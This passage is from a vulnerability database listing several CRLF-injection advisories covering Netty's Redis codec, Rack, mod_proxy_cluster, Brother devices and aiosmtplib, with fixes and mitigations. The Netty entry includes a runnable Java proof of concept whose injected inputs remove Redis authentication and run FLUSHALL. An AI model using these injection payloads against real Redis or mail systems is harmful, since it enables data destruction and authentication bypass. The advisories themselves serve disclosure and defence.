      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-redis"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42586"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:24:08Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "MODERATE"
  },
  "details": "# Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-redis) |\n| **Component** | `io.netty.handler.codec.redis.RedisEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) |\n| **Impact** | Redis Command Injection / Response Poisoning |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | None |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-redis` module are affected:\n\n- `io.netty.handler.codec.redis.RedisEncoder` (encoder - no output validation)\n- `io.netty.handler.codec.redis.InlineCommandRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.SimpleStringRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.ErrorRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.AbstractStringRedisMessage` (base class - no validation)\n\n## 3. Vulnerability Description\n\nThe Netty Redis codec encoder (`RedisEncoder`) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (`\\r\\n`) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.\n\n### Root Cause\n\nIn `RedisEncoder.java`, the `writeString()` method (lines 103-111) writes content using `ByteBufUtil.writeUtf8()` without any validation:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n                                String content, List\u003cObject\u003e out) {\n    ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +\n                                     RedisConstants.EOL_LENGTH);\n    type.writeTo(buf);\n    ByteBufUtil.writeUtf8(buf, content);       // \u003c-- NO CRLF VALIDATION\n    buf.writeShort(RedisConstants.EOL_SHORT);   // \u003c-- Appends \\r\\n\n    out.add(buf);\n}\n```\n\nThe message constructors (`InlineCommandRedisMessage`, `SimpleStringRedisMessage`, `ErrorRedisMessage`) inherit from `AbstractStringRedisMessage`, which only checks for null:\n\n```java\n// AbstractStringRedisMessage.java:30-32\nAbstractStringRedisMessage(String content) {\n    this.content = ObjectUtil.checkNotNull(content, \"content\");\n    // NO CRLF validation\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder - SMTP command injection | Added `SmtpUtils.validateSMTPParameters()` to check for `\\r` and `\\n` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder - CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` to check for `\\r`, `\\n`, and SP |\n\nThe Redis codec has **no equivalent validation** in either the encoder or the message constructors.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when **all** of the following conditions are met:\n\n1. The application uses Netty\u0027s `codec-redis` module to communicate with a Redis server\n2. User-controlled input is placed into `InlineCommandRedisMessage`, `SimpleStringRedisMessage`, or `ErrorRedisMessage` content\n3. The application does **not** perform its own CRLF sanitization before constructing these message objects\n\n**Important context**: Most production Redis clients built on Netty use the RESP array format (`ArrayRedisMessage` + `BulkStringRedisMessage`), which uses binary-safe length-prefixed encoding and is **not** affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.\n\n**Affected use cases include**:\n- Custom Redis clients or proxies that use `InlineCommandRedisMessage` for simplicity\n- Redis middleware/proxy layers that forward `SimpleStringRedisMessage` or `ErrorRedisMessage` responses\n- Applications that construct Redis monitoring or diagnostic commands from user input\n- Redis Sentinel or Cluster management tools using inline command format\n\n## 5. Attack Scenarios\n\n### Scenario 1: Redis Command Injection via Inline Commands\n\nWhen Netty is used as a Redis client or proxy, and user-controlled data is placed into `InlineCommandRedisMessage`, an attacker can inject arbitrary Redis commands:\n\n```java\n// Application code that builds Redis commands from user input\nString userKey = request.getParameter(\"key\");  // Attacker controls this\nInlineCommandRedisMessage msg = new InlineCommandRedisMessage(\"GET \" + userKey);\nchannel.writeAndFlush(msg);\n```\n\n**Attack input**: `key = \"foo\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\"`\n\n**Result**: Three commands sent to Redis:\n1. `GET foo`\n2. `CONFIG SET requirepass \"\"` (removes authentication!)\n3. `FLUSHALL` (deletes all data!)\n\n### Scenario 2: Redis Response Poisoning\n\nWhen Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:\n\n```java\n// Proxy forwarding a simple string response\nSimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);\ndownstreamChannel.writeAndFlush(response);\n```\n\n**Malicious upstream response**: `\"OK\\r\\n$6\\r\\nhacked\"`\n\n**Client sees**:\n1. Simple String: `+OK` (expected response)\n2. Bulk String: `$6\\r\\nhacked` (injected fake data!)\n\n### Scenario 3: Error Message Injection\n\n```java\nErrorRedisMessage error = new ErrorRedisMessage(\"ERR \" + errorDetail);\n```\n\n**Attack input**: `errorDetail = \"unknown\\r\\n+FAKE_SUCCESS\"`\n\n**Client sees**:\n1. Error: `-ERR unknown`\n2. Simple String: `+FAKE_SUCCESS` (injected fake success!)\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.ByteBufUtil;\nimport io.netty.buffer.UnpooledByteBufAllocator;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.redis.*;\n\nimport java.nio.charset.StandardCharsets;\nimport java.util.List;\nimport java.util.ArrayList;\n\n/**\n * PoC: Redis Encoder CRLF Injection Vulnerability\n *\n * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,\n * and ErrorRedisMessage do not validate content for CRLF characters,\n * allowing Redis command injection via the RESP protocol.\n */\npublic class RedisEncoderCRLFInjectionPoC {\n\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty Redis Encoder CRLF Injection PoC ===\\n\");\n\n        testInlineCommandInjection();\n        testSimpleStringInjection();\n        testErrorMessageInjection();\n\n        System.out.println(\"\\n=== PoC Complete ===\");\n    }\n\n    /**\n     * Test 1: Inline Command Injection\n     * An attacker-controlled string injected into InlineCommandRedisMessage\n     * results in multiple Redis commands being sent.\n     */\n    static void testInlineCommandInjection() {\n        System.out.println(\"[TEST 1] Inline Command CRLF Injection\");\n        System.out.println(\"----------------------------------------\");\n\n        // Malicious content: inject FLUSHALL after a benign PING\n        String maliciousContent = \"PING\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n        // This should be rejected but is accepted\n        InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);\n        channel.writeOutbound(msg);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input:   InlineCommandRedisMessage(\\\"\" +\n                           maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n        System.out.println(\"Encoded: \\\"\" +\n                           encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n        // Count how many CRLF-delimited commands are in the output\n        String[] commands = encoded.split(\"\\r\\n\");\n        System.out.println(\"Number of commands parsed by Redis: \" + commands.length);\n        for (int i = 0; i \u003c commands.length; i++) {\n            if (!commands[i].isEmpty()) {\n                System.out.println(\"  Command \" + (i + 1) + \": \" + commands[i]);\n            }\n        }\n\n        boolean vulnerable = commands.length \u003e 1;\n        System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Multiple commands injected!\" : \"NO\"));\n        System.out.println();\n    }\n\n    /**\n     * Test 2: SimpleString Response Injection\n     * When Netty acts as a Redis proxy/middleware, a malicious SimpleString\n     * can inject fake responses to the downstream client.\n     */\n    static void testSimpleStringInjection() {\n        System.out.println(\"[TEST 2] SimpleString Response CRLF Injection\");\n        System.out.println(\"----------------------------------------------\");\n\n        // Malicious content: inject a fake bulk string response after OK\n        String maliciousContent = \"OK\\r\\n$6\\r\\nhacked\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n        SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);\n        channel.writeOutbound(msg);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input:   SimpleStringRedisMessage(\\\"\" +\n                           maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n        System.out.println(\"Encoded: \\\"\" +\n                           encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n        // The RESP protocol uses the first byte to determine type:\n        // \u0027+\u0027 = Simple String, \u0027$\u0027 = Bulk String\n        // A client parsing this would see:\n        // 1. \"+OK\\r\\n\"       -\u003e Simple String \"OK\"\n        // 2. \"$6\\r\\nhacked\"  -\u003e Bulk String \"hacked\" (injected!)\n        boolean vulnerable = encoded.contains(\"+OK\\r\\n$6\\r\\nhacked\");\n        System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Response poisoning possible!\" : \"NO\"));\n        System.out.println();\n    }\n\n    /**\n     * Test 3: Error Message Injection\n     * Similar to SimpleString but with error messages.\n     */\n    static void testErrorMessageInjection() {\n        System.out.println(\"[TEST 3] Error Message CRLF Injection\");\n        System.out.println(\"--------------------------------------\");\n\n        String maliciousContent = \"ERR unknown\\r\\n+INJECTED_OK\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n        ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);\n        channel.writeOutbound(msg);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input:   ErrorRedisMessage(\\\"\" +\n                           maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n        System.out.println(\"Encoded: \\\"\" +\n                           encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n        boolean vulnerable = encoded.contains(\"-ERR unknown\\r\\n+INJECTED_OK\");\n        System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Error + fake OK injected!\" : \"NO\"));\n        System.out.println();\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests for speed)\n./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \\\n  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \\\n  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Compile and run\njavac -cp \"$JARS\" RedisEncoderCRLFInjectionPoC.java\njava -cp \"$JARS:.\" RedisEncoderCRLFInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Redis Encoder CRLF Injection PoC ===\n\n[TEST 1] Inline Command CRLF Injection\n----------------------------------------\nInput:   InlineCommandRedisMessage(\"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\")\nEncoded: \"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\\r\\n\"\nNumber of commands parsed by Redis: 3\n  Command 1: PING\n  Command 2: CONFIG SET requirepass \"\"\n  Command 3: FLUSHALL\nVULNERABLE: YES - Multiple commands injected!\n\n[TEST 2] SimpleString Response CRLF Injection\n----------------------------------------------\nInput:   SimpleStringRedisMessage(\"OK\\r\\n$6\\r\\nhacked\")\nEncoded: \"+OK\\r\\n$6\\r\\nhacked\\r\\n\"\nVULNERABLE: YES - Response poisoning possible!\n\n[TEST 3] Error Message CRLF Injection\n--------------------------------------\nInput:   ErrorRedisMessage(\"ERR unknown\\r\\n+INJECTED_OK\")\nEncoded: \"-ERR unknown\\r\\n+INJECTED_OK\\r\\n\"\nVULNERABLE: YES - Error + fake OK injected!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH - Attacker can execute `CONFIG GET` to extract sensitive Redis configuration, use `KEYS *` to enumerate all data |\n| **Integrity** | HIGH - Attacker can execute `SET`/`DEL`/`FLUSHALL` to modify or destroy data, `CONFIG SET` to change server configuration |\n| **Availability** | Can be HIGH - `FLUSHALL` destroys all data, `SHUTDOWN` stops the server, `DEBUG SLEEP` causes DoS |\n| **Authentication Bypass** | `CONFIG SET requirepass \"\"` removes authentication |\n| **Data Exfiltration** | Lua scripting via `EVAL` enables complex data extraction |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in Message Constructors (Recommended)\n\nAdd CRLF validation to `AbstractStringRedisMessage`:\n\n```java\nAbstractStringRedisMessage(String content) {\n    this.content = ObjectUtil.checkNotNull(content, \"content\");\n    validateContent(content);\n}\n\nprivate static void validateContent(String content) {\n    for (int i = 0; i \u003c content.length(); i++) {\n        char c = content.charAt(i);\n        if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027) {\n            throw new IllegalArgumentException(\n                \"Redis message content contains illegal CRLF character at index \" + i);\n        }\n    }\n}\n```\n\n### Option 2: Validate in Encoder (Defense-in-Depth)\n\nAdd validation in `RedisEncoder.writeString()`:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n                                String content, List\u003cObject\u003e out) {\n    for (int i = 0; i \u003c content.length(); i++) {\n        char c = content.charAt(i);\n        if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027) {\n            throw new RedisCodecException(\n                \"Redis message content contains CRLF at index \" + i);\n        }\n    }\n    // ... existing encoding logic\n}\n```\n\n### Option 3: Both (Best Practice)\n\nApply validation in both the constructor and the encoder, following the pattern used for SMTP:\n- `SmtpUtils.validateSMTPParameters()` validates in `DefaultSmtpRequest` constructor\n- This provides defense-in-depth against custom `SmtpRequest` implementations\n\n## 9. Resources\n\n- [RESP Protocol Specification](https://redis.io/docs/reference/protocol-spec/)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)",
  "id": "GHSA-rgrr-p7gp-5xj7",
  "modified": "2026-05-14T20:41:24Z",
  "published": "2026-05-07T00:24:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-rgrr-p7gp-5xj7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42586"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://redis.io/docs/reference/protocol-spec"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty Redis Codec Encoder has a CRLF Injection Issue"
}

GHSA-RX22-G9MX-QRHV

Vulnerability from github – Published: 2026-04-02 20:31 – Updated: 2026-05-13 16:17
VLAI
Summary
Rack's improper unfolding of folded multipart headers preserves CRLF in parsed parameter values
Details

Summary

Rack::Multipart::Parser unfolds folded multipart part headers incorrectly. When a multipart header contains an obs-fold sequence, Rack preserves the embedded CRLF in parsed parameter values such as filename or name instead of removing the folded line break during unfolding.

As a result, applications that later reuse those parsed values in HTTP response headers may be vulnerable to downstream header injection or response splitting.

Details

Rack::Multipart::Parser accepts folded multipart header values and unfolds them during parsing. However, the unfolding behavior does not fully remove the embedded line break sequence from the parsed value.

This means a multipart part header such as:

Content-Disposition: form-data; name="file"; filename="test\r\n foo.txt"

can result in a parsed parameter value that still contains CRLF characters.

The issue is not that Rack creates a second multipart header field. Rather, the problem is that CRLF remains embedded in the parsed metadata value after unfolding. If an application later uses that value in a security-sensitive context, such as constructing an HTTP response header, the preserved CRLF may alter downstream header parsing.

Affected values may include multipart parameters such as filename, name, or similar parsed header attributes.

Impact

Applications that accept multipart form uploads may be affected if they later reuse parsed multipart metadata in HTTP headers or other header-sensitive contexts.

In affected deployments, an attacker may be able to supply a multipart parameter value containing folded line breaks and cause downstream header injection, response splitting, cache poisoning, or related response parsing issues.

The practical impact depends on application behavior. If parsed multipart metadata is not reused in HTTP headers, the issue may be limited to incorrect parsing behavior rather than a direct exploit path.

Mitigation

  • Update to a patched version of Rack that removes CRLF correctly when unfolding folded multipart header values.
  • Avoid copying upload metadata such as filename directly into HTTP response headers without sanitization.
  • Sanitize or reject carriage return and line feed characters in multipart-derived values before reusing them in response headers, logs, or downstream protocol contexts.
  • Where feasible, normalize uploaded filenames before storing or reflecting them.
Severity
4.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26962"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-02T20:31:01Z",
    "nvd_published_at": "2026-04-02T18:16:26Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`Rack::Multipart::Parser` unfolds folded multipart part headers incorrectly. When a multipart header contains an obs-fold sequence, Rack preserves the embedded CRLF in parsed parameter values such as `filename` or `name` instead of removing the folded line break during unfolding.\n\nAs a result, applications that later reuse those parsed values in HTTP response headers may be vulnerable to downstream header injection or response splitting.\n\n## Details\n\n`Rack::Multipart::Parser` accepts folded multipart header values and unfolds them during parsing. However, the unfolding behavior does not fully remove the embedded line break sequence from the parsed value.\n\nThis means a multipart part header such as:\n\n```http\nContent-Disposition: form-data; name=\"file\"; filename=\"test\\r\\n foo.txt\"\n```\n\ncan result in a parsed parameter value that still contains CRLF characters.\n\nThe issue is not that Rack creates a second multipart header field. Rather, the problem is that CRLF remains embedded in the parsed metadata value after unfolding. If an application later uses that value in a security-sensitive context, such as constructing an HTTP response header, the preserved CRLF may alter downstream header parsing.\n\nAffected values may include multipart parameters such as `filename`, `name`, or similar parsed header attributes.\n\n## Impact\n\nApplications that accept multipart form uploads may be affected if they later reuse parsed multipart metadata in HTTP headers or other header-sensitive contexts.\n\nIn affected deployments, an attacker may be able to supply a multipart parameter value containing folded line breaks and cause downstream header injection, response splitting, cache poisoning, or related response parsing issues.\n\nThe practical impact depends on application behavior. If parsed multipart metadata is not reused in HTTP headers, the issue may be limited to incorrect parsing behavior rather than a direct exploit path.\n\n## Mitigation\n\n* Update to a patched version of Rack that removes CRLF correctly when unfolding folded multipart header values.\n* Avoid copying upload metadata such as `filename` directly into HTTP response headers without sanitization.\n* Sanitize or reject carriage return and line feed characters in multipart-derived values before reusing them in response headers, logs, or downstream protocol contexts.\n* Where feasible, normalize uploaded filenames before storing or reflecting them.",
  "id": "GHSA-rx22-g9mx-qrhv",
  "modified": "2026-05-13T16:17:37Z",
  "published": "2026-04-02T20:31:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/security/advisories/GHSA-rx22-g9mx-qrhv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26962"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rack/rack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2026-26962.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Rack\u0027s improper unfolding of folded multipart headers preserves CRLF in parsed parameter values"
}

GHSA-RX7W-67VH-W8VG

Vulnerability from github – Published: 2025-06-26 21:31 – Updated: 2025-06-26 21:31
VLAI
Details

An unauthenticated attacker may perform a blind server side request forgery (SSRF), due to a CLRF injection issue that can be leveraged to perform HTTP request smuggling. This SSRF leverages the WS-Addressing feature used during a WS-Eventing subscription SOAP operation. The attacker can control all the HTTP data sent in the SSRF connection, but the attacker can not receive any data back from this connection.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-51981"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-25T08:15:32Z",
    "severity": "MODERATE"
  },
  "details": "An unauthenticated attacker may perform a blind server side request forgery (SSRF), due to a CLRF injection issue that can be leveraged to perform HTTP request smuggling. This SSRF leverages the WS-Addressing feature used during a WS-Eventing subscription SOAP operation. The attacker can control all the HTTP data sent in the SSRF connection, but the attacker can not receive any data back from this connection.",
  "id": "GHSA-rx7w-67vh-w8vg",
  "modified": "2025-06-26T21:31:10Z",
  "published": "2025-06-26T21:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51981"
    },
    {
      "type": "WEB",
      "url": "https://assets.contentstack.io/v3/assets/blte4f029e766e6b253/blt6495b3c6adf2867f/685aa980a26c5e2b1026969c/vulnerability-disclosure-whitepaper.pdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sfewer-r7/BrotherVulnerabilities"
    },
    {
      "type": "WEB",
      "url": "https://support.brother.com/g/b/link.aspx?prod=group2\u0026faqid=faq00100846_000"
    },
    {
      "type": "WEB",
      "url": "https://support.brother.com/g/b/link.aspx?prod=group2\u0026faqid=faq00100848_000"
    },
    {
      "type": "WEB",
      "url": "https://support.brother.com/g/b/link.aspx?prod=lmgroup1\u0026faqid=faqp00100620_000"
    },
    {
      "type": "WEB",
      "url": "https://www.fujifilm.com/fbglobal/eng/company/news/notice/2025/0625_announce.html"
    },
    {
      "type": "WEB",
      "url": "https://www.konicaminolta.com/global-en/security/advisory/pdf/km-2025-0001.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.rapid7.com/blog/post/multiple-brother-devices-multiple-vulnerabilities-fixed"
    },
    {
      "type": "WEB",
      "url": "https://www.ricoh.com/products/security/vulnerabilities/vul?id=ricoh-2025-000007"
    },
    {
      "type": "WEB",
      "url": "https://www.toshibatec.com/information/20250625_02.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RXQ8-R4WW-HXV7

Vulnerability from github – Published: 2026-03-12 12:30 – Updated: 2026-03-12 12:30
VLAI
Details

A flaw was found in mod_proxy_cluster. This vulnerability, a Carriage Return Line Feed (CRLF) injection in the decodeenc() function, allows a remote attacker to bypass input validation. By injecting CRLF sequences into the cluster configuration, an attacker can corrupt the response body of INFO endpoint responses. Exploitation requires network access to the MCMP protocol port, but no authentication is needed.

Severity
4.3 (Medium)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-3234"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-12T11:15:57Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in  mod_proxy_cluster. This vulnerability, a Carriage Return Line Feed (CRLF) injection in the decodeenc() function, allows a remote attacker to bypass input validation. By injecting CRLF sequences into the cluster configuration, an attacker can corrupt the response body of INFO endpoint responses. Exploitation requires network access to the MCMP protocol port, but no authentication is needed.",
  "id": "GHSA-rxq8-r4ww-hxv7",
  "modified": "2026-03-12T12:30:29Z",
  "published": "2026-03-12T12:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3234"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-3234"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442889"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V3Q9-HJ7J-63HQ

Vulnerability from github – Published: 2026-07-07 23:40 – Updated: 2026-07-07 23:40
VLAI
Summary
aiosmtplib vulnerable to SMTP command injection via CR/LF in sender/recipient address
Details

Summary

aiosmtplib's SMTP.mail(), SMTP.rcpt(), SMTP.vrfy() and SMTP.expn() send the caller-supplied email address to the server without rejecting embedded CR/LF (\r\n) bytes. An address that contains a CR/LF is written verbatim onto the SMTP control connection, so the bytes after the CRLF are framed by the server as one or more additional, standalone SMTP command lines. A caller that passes an attacker-influenced sender or recipient address into mail()/rcpt() (or vrfy()/expn()) therefore allows SMTP command injection (CWE-93 / CWE-77): the attacker can smuggle arbitrary SMTP verbs such as MAIL FROM, RCPT TO, RSET, DATA, or AUTH into the session. Injected commands will cause the SMTP instance to hang, but all commands required to complete the envelope could be sent in one address string.

The SMTP.sendmail() command will pass sender and recipient addresses verbatim through to SMTP.mail() & SMTP.rcpt(), and so is also vulnerable. SMTP.send_message() is not affected.

Impact

Severity: medium. Type: SMTP protocol command injection (CWE-93 — Improper Neutralization of CRLF Sequences; CWE-77 — Command Injection).

When an application built on aiosmtplib derives the envelope sender or any recipient from data an attacker can influence (a web form etc.) and passes it to mail()/rcpt() (directly, or via sendmail()/send() without a Message object), the attacker can:

  • desynchronize the command/response pipeline and cause the aiosmtplib client to hang, resulting in a possible denial of service
  • inject multiple commands in one address to send an arbitrary message

The address only needs to reach mail()/rcpt()/vrfy()/expn(); no attacker control over the SMTP server is required.

Vulnerable versions

Affected version: aiosmtplib 5.1.0 (latest at time of report) and all earlier releases.

Credit

Reported by tonghuaroot.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.1.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "aiosmtplib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53533"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T23:40:52Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
